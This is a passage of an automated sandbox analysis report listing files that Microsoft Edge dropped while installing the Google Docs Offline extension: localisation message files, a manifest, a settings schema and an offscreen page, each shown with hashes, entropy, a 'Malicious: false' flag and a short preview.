Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
